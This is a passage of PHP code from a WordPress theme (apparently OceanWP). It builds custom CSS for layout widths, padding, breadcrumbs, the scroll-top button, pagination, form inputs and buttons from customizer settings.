$boxed_width . 'px;}'; } // Boxed outside background. if ( ! empty( $boxed_outside_bg ) && '#e9e9e9' != $boxed_outside_bg ) { $css .= '.boxed-layout{background-color:' . $boxed_outside_bg . ';}'; } // Separate outside background. if ( ! empty( $separate_outside_bg ) && '#f1f1f1' != $separate_outside_bg ) { $css .= '.separate-layout, .has-parallax-footer.separate-layout #main{background-color:' . $separate_outside_bg . ';}'; } // Boxed inner background. if ( ! empty( $boxed_inner_bg ) && '#ffffff' != $boxed_inner_bg ) { $css .= '.boxed-layout #wrap, .separate-layout .content-area, .separate-layout .widget-area .sidebar-box, body.separate-blog.separate-layout #blog-entries > *, body.separate-blog.separate-layout .oceanwp-pagination, body.separate-blog.separate-layout .blog-entry.grid-entry .blog-entry-inner, .has-parallax-footer:not(.separate-layout) #main{background-color:' . $boxed_inner_bg . ';}'; } // Separate content padding. if ( ! empty( $separate_content_padding ) && '30px' != $separate_content_padding ) { $css .= '.separate-layout .content-area, .separate-layout.content-left-sidebar .content-area, .content-both-sidebars.scs-style .content-area, .separate-layout.content-both-sidebars.ssc-style .content-area, body.separate-blog.separate-layout #blog-entries > *, body.separate-blog.separate-layout .oceanwp-pagination, body.separate-blog.separate-layout .blog-entry.grid-entry .blog-entry-inner{padding:' . $separate_content_padding . ';}.separate-layout.content-full-width .content-area{padding:' . $separate_content_padding . ' !important;}'; } // Separate widgets padding. if ( ! empty( $separate_widgets_padding ) && '30px' != $separate_widgets_padding ) { $css .= '.separate-layout .widget-area .sidebar-box{padding:' . $separate_widgets_padding . ';}'; } // Content top padding. if ( ! empty( $main_container_width ) && '1200' != $main_container_width ) { $css .= '.container{width:' . $main_container_width . 'px;}'; } // Content top padding. if ( ! empty( $left_container_width ) && '72' != $left_container_width ) { $css .= '@media only screen and (min-width: 960px){ .content-area, .content-left-sidebar .content-area{width:' . $left_container_width . '%;} }'; } // Content top padding. if ( ! empty( $sidebar_width ) && '28' != $sidebar_width ) { $css .= '@media only screen and (min-width: 960px){ .widget-area, .content-left-sidebar .widget-area{width:' . $sidebar_width . '%;} }'; } // Content top padding. if ( isset( $content_top_padding ) && '' != $content_top_padding ) { $content_padding_css .= 'padding-top:' . $content_top_padding . 'px;'; } // Content bottom padding. if ( isset( $content_bottom_padding ) && '' != $content_bottom_padding ) { $content_padding_css .= 'padding-bottom:' . $content_bottom_padding . 'px;'; } // Content padding css. if ( isset( $content_top_padding ) && '' != $content_top_padding || isset( $content_bottom_padding ) && '' != $content_bottom_padding ) { $css .= '#main #content-wrap, .separate-layout #main #content-wrap{' . $content_padding_css . '}'; } // Tablet content top padding. if ( isset( $tablet_content_top_padding ) && '' != $tablet_content_top_padding ) { $tablet_content_padding_css .= 'padding-top:' . $tablet_content_top_padding . 'px;'; } // Tablet content bottom padding. if ( isset( $tablet_content_bottom_padding ) && '' != $tablet_content_bottom_padding ) { $tablet_content_padding_css .= 'padding-bottom:' . $tablet_content_bottom_padding . 'px;'; } // Tablet content padding css. if ( isset( $tablet_content_top_padding ) && '' != $tablet_content_top_padding || isset( $tablet_content_bottom_padding ) && '' != $tablet_content_bottom_padding ) { $css .= '@media (max-width: 768px){#main #content-wrap, .separate-layout #main #content-wrap{' . $tablet_content_padding_css . '}}'; } // Mobile content top padding. if ( isset( $mobile_content_top_padding ) && '' != $mobile_content_top_padding ) { $mobile_content_padding_css .= 'padding-top:' . $mobile_content_top_padding . 'px;'; } // Mobile content bottom padding. if ( isset( $mobile_content_bottom_padding ) && '' != $mobile_content_bottom_padding ) { $mobile_content_padding_css .= 'padding-bottom:' . $mobile_content_bottom_padding . 'px;'; } // Mobile content padding css. if ( isset( $mobile_content_top_padding ) && '' != $mobile_content_top_padding || isset( $mobile_content_bottom_padding ) && '' != $mobile_content_bottom_padding ) { $css .= '@media (max-width: 480px){#main #content-wrap, .separate-layout #main #content-wrap{' . $mobile_content_padding_css . '}}'; } // Title/breadcrumb position. if ( ! empty( $title_breadcrumb_position ) && 'center' != $title_breadcrumb_position ) { $css .= '.background-image-page-header .page-header-inner, .background-image-page-header .site-breadcrumbs{text-align: ' . $title_breadcrumb_position . '}'; } // Page header padding. if ( isset( $page_header_top_padding ) && '34' != $page_header_top_padding && '' != $page_header_top_padding || isset( $page_header_bottom_padding ) && '34' != $page_header_bottom_padding && '' != $page_header_bottom_padding ) { $css .= '.page-header, .has-transparent-header .page-header{padding:' . oceanwp_spacing_css( $page_header_top_padding, '', $page_header_bottom_padding, '' ) . '}'; } // Tablet page header padding. if ( isset( $tablet_ph_top_padding ) && '' != $tablet_ph_top_padding || isset( $tablet_ph_bottom_padding ) && '' != $tablet_ph_bottom_padding ) { $css .= '@media (max-width: 768px){.page-header, .has-transparent-header .page-header{padding:' . oceanwp_spacing_css( $tablet_ph_top_padding, '', $tablet_ph_bottom_padding, '' ) . '}}'; } // Mobile page header padding. if ( isset( $mobile_ph_top_padding ) && '' != $mobile_ph_top_padding || isset( $mobile_ph_bottom_padding ) && '' != $mobile_ph_bottom_padding ) { $css .= '@media (max-width: 480px){.page-header, .has-transparent-header .page-header{padding:' . oceanwp_spacing_css( $mobile_ph_top_padding, '', $mobile_ph_bottom_padding, '' ) . '}}'; } // Page header color. if ( ! empty( $page_header_title_color ) ) { $css .= '.page-header .page-header-title, .page-header.background-image-page-header .page-header-title{color:' . $page_header_title_color . ';}'; } // Breadcrumbs text color. if ( ! empty( $breadcrumbs_text_color ) && '#c6c6c6' != $breadcrumbs_text_color ) { $css .= '.site-breadcrumbs, .background-image-page-header .site-breadcrumbs{color:' . $breadcrumbs_text_color . ';}'; } // Breadcrumbs seperator color. if ( ! empty( $breadcrumbs_seperator_color ) && '#c6c6c6' != $breadcrumbs_seperator_color ) { $css .= '.site-breadcrumbs ul li .breadcrumb-sep, .site-breadcrumbs ol li .breadcrumb-sep{color:' . $breadcrumbs_seperator_color . ';}'; } // Breadcrumbs link color. if ( ! empty( $breadcrumbs_link_color ) && '#333333' != $breadcrumbs_link_color ) { $css .= '.site-breadcrumbs a, .background-image-page-header .site-breadcrumbs a{color:' . $breadcrumbs_link_color . ';}'; $css .= '.site-breadcrumbs a .owp-icon use, .background-image-page-header .site-breadcrumbs a .owp-icon use{stroke:' . $breadcrumbs_link_color . ';}'; } // Breadcrumbs link hover color. if ( ! empty( $breadcrumbs_link_color_hover ) && '#13aff0' != $breadcrumbs_link_color_hover ) { $css .= '.site-breadcrumbs a:hover, .background-image-page-header .site-breadcrumbs a:hover{color:' . $breadcrumbs_link_color_hover . ';}'; $css .= '.site-breadcrumbs a:hover .owp-icon use, .background-image-page-header .site-breadcrumbs a:hover .owp-icon use{stroke:' . $breadcrumbs_link_color_hover . ';}'; } // Meta breadcrumbs text color. if ( ! empty( $meta_breadcrumbs_text_color ) ) { $css .= '.site-breadcrumbs, .background-image-page-header .site-breadcrumbs{color:' . $meta_breadcrumbs_text_color . ';}'; } // Meta breadcrumbs seperator color. if ( ! empty( $meta_breadcrumbs_seperator_color ) ) { $css .= '.site-breadcrumbs ul li .breadcrumb-sep{color:' . $meta_breadcrumbs_seperator_color . ';}'; } // Meta breadcrumbs link color. if ( ! empty( $meta_breadcrumbs_link_color ) ) { $css .= '.site-breadcrumbs a, .background-image-page-header .site-breadcrumbs a{color:' . $meta_breadcrumbs_link_color . ';}'; } // Meta breadcrumbs link hover color. if ( ! empty( $meta_breadcrumbs_link_color_hover ) ) { $css .= '.site-breadcrumbs a:hover, .background-image-page-header .site-breadcrumbs a:hover{color:' . $meta_breadcrumbs_link_color_hover . ';}'; } // Scroll top button bottom position. if ( ! empty( $scroll_top_bottom_position ) && '20' != $scroll_top_bottom_position ) { $css .= '#scroll-top{bottom:' . $scroll_top_bottom_position . 'px;}'; } // Scroll top button size. if ( ! empty( $scroll_top_size ) && '40' != $scroll_top_size ) { $css .= '#scroll-top{width:' . $scroll_top_size . 'px;height:' . $scroll_top_size . 'px;line-height:' . $scroll_top_size . 'px;}'; } // Scroll top button icon size. if ( ! empty( $scroll_top_icon_size ) && '18' != $scroll_top_icon_size ) { $css .= '#scroll-top{font-size:' . $scroll_top_icon_size . 'px;}'; $css .= '#scroll-top .owp-icon{width:' . $scroll_top_icon_size . 'px; height:' . $scroll_top_icon_size . 'px;}'; } // Scroll top button border radius. if ( ! empty( $scroll_top_border_radius ) && '2' != $scroll_top_border_radius ) { $css .= '#scroll-top{border-radius:' . $scroll_top_border_radius . 'px;}'; } // Scroll top button background color. if ( ! empty( $scroll_top_bg ) && 'rgba(0,0,0,0.4)' != $scroll_top_bg ) { $css .= '#scroll-top{background-color:' . $scroll_top_bg . ';}'; } // Scroll top button background hover color. if ( ! empty( $scroll_top_bg_hover ) && 'rgba(0,0,0,0.8)' != $scroll_top_bg_hover ) { $css .= '#scroll-top:hover{background-color:' . $scroll_top_bg_hover . ';}'; } // Scroll top button background color. if ( ! empty( $scroll_top_color ) && '#ffffff' != $scroll_top_color ) { $css .= '#scroll-top{color:' . $scroll_top_color . ';}'; $css .= '#scroll-top .owp-icon use{stroke:' . $scroll_top_color . ';}'; } // Scroll top button background hover color. if ( ! empty( $scroll_top_color_hover ) && '#ffffff' != $scroll_top_color_hover ) { $css .= '#scroll-top:hover{color:' . $scroll_top_color_hover . ';}'; $css .= '#scroll-top:hover .owp-icon use{stroke:' . $scroll_top_color . ';}'; } // Pagination font size. if ( ! empty( $pagination_font_size ) && '18' != $pagination_font_size ) { $css .= '.page-numbers a, .page-numbers span:not(.elementor-screen-only), .page-links span{font-size:' . $pagination_font_size . 'px;}'; } // Pagination border width. if ( ! empty( $pagination_border_width ) && '1' != $pagination_border_width ) { $css .= '.page-numbers a, .page-numbers span:not(.elementor-screen-only), .page-links span{border-width:' . $pagination_border_width . 'px;}'; } // Pagination background color. if ( ! empty( $pagination_bg ) ) { $css .= '.page-numbers a, .page-numbers span:not(.elementor-screen-only), .page-links span{background-color:' . $pagination_bg . ';}'; } // Pagination background color hover. if ( ! empty( $pagination_hover_bg ) && '#f8f8f8' != $pagination_hover_bg ) { $css .= '.page-numbers a:hover, .page-links a:hover span, .page-numbers.current, .page-numbers.current:hover{background-color:' . $pagination_hover_bg . ';}'; } // Pagination color. if ( ! empty( $pagination_color ) && '#555555' != $pagination_color ) { $css .= '.page-numbers a, .page-numbers span:not(.elementor-screen-only), .page-links span{color:' . $pagination_color . ';}'; $css .= '.page-numbers a .owp-icon use{stroke:' . $pagination_color . ';}'; } // Pagination color hover. if ( ! empty( $pagination_hover_color ) && '#333333' != $pagination_hover_color ) { $css .= '.page-numbers a:hover, .page-links a:hover span, .page-numbers.current, .page-numbers.current:hover{color:' . $pagination_hover_color . ';}'; $css .= '.page-numbers a:hover .owp-icon use{stroke:' . $pagination_hover_color . ';}'; } // Pagination border color. if ( ! empty( $pagination_border_color ) && '#e9e9e9' != $pagination_border_color ) { $css .= '.page-numbers a, .page-numbers span:not(.elementor-screen-only), .page-links span{border-color:' . $pagination_border_color . ';}'; } // Pagination border color hover. if ( ! empty( $pagination_border_hover_color ) && '#e9e9e9' != $pagination_border_hover_color ) { $css .= '.page-numbers a:hover, .page-links a:hover span, .page-numbers.current, .page-numbers.current:hover{border-color:' . $pagination_border_hover_color . ';}'; } // Label color. if ( ! empty( $label_color ) && '#929292' != $label_color ) { $css .= 'label, body div.wpforms-container-full .wpforms-form .wpforms-field-label{color:' . $label_color . ';}'; } // Input padding. if ( isset( $input_top_padding ) && '6' != $input_top_padding && '' != $input_top_padding || isset( $input_right_padding ) && '12' != $input_right_padding && '' != $input_right_padding || isset( $input_bottom_padding ) && '6' != $input_bottom_padding && '' != $input_bottom_padding || isset( $input_left_padding ) && '12' != $input_left_padding && '' != $input_left_padding ) { $css .= 'form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{padding:' . oceanwp_spacing_css( $input_top_padding, $input_right_padding, $input_bottom_padding, $input_left_padding ) . '}'; $css .= 'body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{padding:' . oceanwp_spacing_css( $input_top_padding, $input_right_padding, $input_bottom_padding, $input_left_padding ) . '; height: auto;}'; } // Tablet input padding. if ( isset( $tablet_input_top_padding ) && '' != $tablet_input_top_padding || isset( $tablet_input_right_padding ) && '' != $tablet_input_right_padding || isset( $tablet_input_bottom_padding ) && '' != $tablet_input_bottom_padding || isset( $tablet_input_left_padding ) && '' != $tablet_input_left_padding ) { $css .= '@media (max-width: 768px){form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{padding:' . oceanwp_spacing_css( $tablet_input_top_padding, $tablet_input_right_padding, $tablet_input_bottom_padding, $tablet_input_left_padding ) . '}}'; $css .= '@media (max-width: 768px){body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{padding:' . oceanwp_spacing_css( $tablet_input_top_padding, $tablet_input_right_padding, $tablet_input_bottom_padding, $tablet_input_left_padding ) . '}}'; } // Mobile input padding. if ( isset( $mobile_input_top_padding ) && '' != $mobile_input_top_padding || isset( $mobile_input_right_padding ) && '' != $mobile_input_right_padding || isset( $mobile_input_bottom_padding ) && '' != $mobile_input_bottom_padding || isset( $mobile_input_left_padding ) && '' != $mobile_input_left_padding ) { $css .= '@media (max-width: 480px){form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{padding:' . oceanwp_spacing_css( $mobile_input_top_padding, $mobile_input_right_padding, $mobile_input_bottom_padding, $mobile_input_left_padding ) . '}}'; $css .= '@media (max-width: 480px){body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{padding:' . oceanwp_spacing_css( $mobile_input_top_padding, $mobile_input_right_padding, $mobile_input_bottom_padding, $mobile_input_left_padding ) . '}}'; } // Input font size. if ( ! empty( $input_font_size ) && '14' != $input_font_size ) { $css .= 'form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{font-size:' . $input_font_size . 'px;}'; $css .= 'body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{font-size:' . $input_font_size . 'px;}'; } // Input border width border width. if ( isset( $input_top_border_width ) && '1' != $input_top_border_width && '' != $input_top_border_width || isset( $input_right_border_width ) && '1' != $input_right_border_width && '' != $input_right_border_width || isset( $input_bottom_border_width ) && '1' != $input_bottom_border_width && '' != $input_bottom_border_width || isset( $input_left_border_width ) && '1' != $input_left_border_width && '' != $input_left_border_width ) { $css .= 'form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{border-width:' . oceanwp_spacing_css( $input_top_border_width, $input_right_border_width, $input_bottom_border_width, $input_left_border_width ) . '}'; $css .= 'body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{border-width:' . oceanwp_spacing_css( $input_top_border_width, $input_right_border_width, $input_bottom_border_width, $input_left_border_width ) . '}'; } // Tablet input border width border width. if ( isset( $tablet_input_top_bw ) && '' != $tablet_input_top_bw || isset( $tablet_input_right_bw ) && '' != $tablet_input_right_bw || isset( $tablet_input_bottom_bw ) && '' != $tablet_input_bottom_bw || isset( $tablet_input_left_bw ) && '' != $tablet_input_left_bw ) { $css .= '@media (max-width: 768px){form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{border-width:' . oceanwp_spacing_css( $tablet_input_top_bw, $tablet_input_right_bw, $tablet_input_bottom_bw, $tablet_input_left_bw ) . '}}'; $css .= '@media (max-width: 768px){body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{border-width:' . oceanwp_spacing_css( $tablet_input_top_bw, $tablet_input_right_bw, $tablet_input_bottom_bw, $tablet_input_left_bw ) . '}}'; } // Mobile input border width border width. if ( isset( $mobile_input_top_bw ) && '' != $mobile_input_top_bw || isset( $mobile_input_right_bw ) && '' != $mobile_input_right_bw || isset( $mobile_input_bottom_bw ) && '' != $mobile_input_bottom_bw || isset( $mobile_input_left_bw ) && '' != $mobile_input_left_bw ) { $css .= '@media (max-width: 480px){form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{border-width:' . oceanwp_spacing_css( $mobile_input_top_bw, $mobile_input_right_bw, $mobile_input_bottom_bw, $mobile_input_left_bw ) . '}}'; $css .= '@media (max-width: 480px){body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{border-width:' . oceanwp_spacing_css( $mobile_input_top_bw, $mobile_input_right_bw, $mobile_input_bottom_bw, $mobile_input_left_bw ) . '}}'; } // Input border radius. if ( ! empty( $input_border_radius ) && '3' != $input_border_radius ) { $css .= 'form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea, .woocommerce .woocommerce-checkout .select2-container--default .select2-selection--single{border-radius:' . $input_border_radius . 'px;}'; $css .= 'body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{border-radius:' . $input_border_radius . 'px;}'; } // Input border color. if ( ! empty( $input_border_color ) && '#dddddd' != $input_border_color ) { $css .= 'form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea,.select2-container .select2-choice, .woocommerce .woocommerce-checkout .select2-container--default .select2-selection--single{border-color:' . $input_border_color . ';}'; $css .= 'body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{border-color:' . $input_border_color . ';}'; } // Input border color focus. if ( ! empty( $input_border_color_focus ) && '#bbbbbb' != $input_border_color_focus ) { $css .= 'form input[type="text"]:focus,form input[type="password"]:focus,form input[type="email"]:focus,form input[type="tel"]:focus,form input[type="url"]:focus,form input[type="search"]:focus,form textarea:focus,.select2-drop-active,.select2-dropdown-open.select2-drop-above .select2-choice,.select2-dropdown-open.select2-drop-above .select2-choices,.select2-drop.select2-drop-above.select2-drop-active,.select2-container-active .select2-choice,.select2-container-active .select2-choices{border-color:' . $input_border_color_focus . ';}'; $css .= 'body div.wpforms-container-full .wpforms-form input:focus, body div.wpforms-container-full .wpforms-form textarea:focus, body div.wpforms-container-full .wpforms-form select:focus{border-color:' . $input_border_color_focus . ';}'; } // Input border background. if ( ! empty( $input_background ) ) { $css .= 'form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea, .woocommerce .woocommerce-checkout .select2-container--default .select2-selection--single{background-color:' . $input_background . ';}'; $css .= 'body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{background-color:' . $input_background . ';}'; } // Input border color. if ( ! empty( $input_color ) && '#333333' != $input_color ) { $css .= 'form input[type="text"], form input[type="password"], form input[type="email"], form input[type="url"], form input[type="date"], form input[type="month"], form input[type="time"], form input[type="datetime"], form input[type="datetime-local"], form input[type="week"], form input[type="number"], form input[type="search"], form input[type="tel"], form input[type="color"], form select, form textarea{color:' . $input_color . ';}'; $css .= 'body div.wpforms-container-full .wpforms-form input[type=date], body div.wpforms-container-full .wpforms-form input[type=datetime], body div.wpforms-container-full .wpforms-form input[type=datetime-local], body div.wpforms-container-full .wpforms-form input[type=email], body div.wpforms-container-full .wpforms-form input[type=month], body div.wpforms-container-full .wpforms-form input[type=number], body div.wpforms-container-full .wpforms-form input[type=password], body div.wpforms-container-full .wpforms-form input[type=range], body div.wpforms-container-full .wpforms-form input[type=search], body div.wpforms-container-full .wpforms-form input[type=tel], body div.wpforms-container-full .wpforms-form input[type=text], body div.wpforms-container-full .wpforms-form input[type=time], body div.wpforms-container-full .wpforms-form input[type=url], body div.wpforms-container-full .wpforms-form input[type=week], body div.wpforms-container-full .wpforms-form select, body div.wpforms-container-full .wpforms-form textarea{color:' . $input_color . ';}'; } // Theme buttons padding. if ( isset( $theme_button_top_padding ) && '14' != $theme_button_top_padding && '' != $theme_button_top_padding || isset( $theme_button_right_padding ) && '20' != $theme_button_right_padding && '' != $theme_button_right_padding || isset( $theme_button_bottom_padding ) && '14' != $theme_button_bottom_padding && '' != $theme_button_bottom_padding || isset( $theme_button_left_padding ) && '20' != $theme_button_left_padding && '' != $theme_button_left_padding ) { $css .= '.theme-button,input[type="submit"],button[type="submit"],button, body div.wpforms-container-full .wpforms-form input[type=submit], body div.wpforms-container-full .wpforms-form button[type=submit], body div.wpforms-container-full .wpforms-form .wpforms-page-button{padding:' . oceanwp_spacing_css( $theme_button_top_padding, $theme_button_right_padding, $theme_button_bottom_padding, $theme_button_left_padding ) . '}'; } // Tablet theme buttons padding. if ( isset( $tablet_tb_top_padding ) && '' != $tablet_tb_top_padding || isset( $tablet_tb_right_padding ) && '' != $tablet_tb_right_padding || isset( $tablet_tb_bottom_padding ) && '' != $tablet_tb_bottom_padding || isset( $tablet_tb_left_padding ) && '' != $tablet_tb_left_padding ) { $css .= '@media (max-width: 768px){.theme-button,input[type="submit"],button[type="submit"],button, body div.wpforms-container-full .wpforms-form input[type=submit], body div.wpforms-container-full .wpforms-form button[type=submit], body div.wpforms-container-full .wpforms-form .wpforms-page-button{padding:' . oceanwp_spacing_css( $tablet_tb_top_padding, $tablet_tb_right_padding, $tablet_tb_bottom_padding, $tablet_tb_left_padding ) . '}}'; } // Mobile theme buttons padding. if ( isset( $mobile_tb_top_padding ) && '' != $mobile_tb_top_padding || isset( $mobile_tb_right_padding ) && '' != $mobile_tb_right_padding || isset( 